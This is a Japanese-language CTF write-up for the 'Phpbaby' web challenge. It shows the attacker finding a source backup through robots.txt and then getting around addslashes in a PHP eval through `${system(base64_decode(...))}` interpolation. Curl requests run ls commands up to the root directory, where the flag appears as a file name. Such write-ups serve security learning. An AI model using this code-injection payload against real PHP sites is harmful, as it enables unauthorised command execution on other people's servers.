# Phpbaby:Web:528ptsGet the flag located at the root filesystem  [Click here](https://ch3.sbug.se/)  
# Solutionアクセスすると何やらAAが動いているサイトだ。  [site.png](site/site.png)  ソースを見ると不審な点はなく、以下のコメントがあるだけだった。  ```bash$ curl https://ch3.sbug.se/~~~
~~~```手始めに`/robots.txt`を見ると以下であった。  ```bash$ curl https://ch3.sbug.se/robots.txtuser-agent: *disallow: /Source_Code_Backup````/Source_Code_Backup`にアクセスしてみると、リダイレクトの後ソースに以下があった。  ```bash$ curl https://ch3.sbug.se/Source_Code_Backup -L~~~
```addslashesを突破するのは簡単で変数展開を用い`${system(ls)}`などやれば任意のコードが実行できる。  文字列の扱いに困った場合はbase64などをかけてやればよい。  ```bash$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMg))\}'Warning:  Use of undefined constant bHMg - assumed 'bHMg' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(15) : eval()'d code on line 1SBCTF.pngSource_Code_Backupabcs.pngindex.phplettercrap.csslettercrap.jsrobots.txt~~~$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMgLi4v))\}'~~~html~~~$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMgLi4vLi4v))\}'~~~backupscacheliblocallocklogmailoptrunspooltmpwww~~~$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMgLi4vLi4vLi4v))\}'~~~SBCTF{eval_93da83d498872a4028dac140d1574290}binbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvar~~~```ルートにflagをファイル名としたものがあった。  
## SBCTF{eval_93da83d498872a4028dac140d1574290}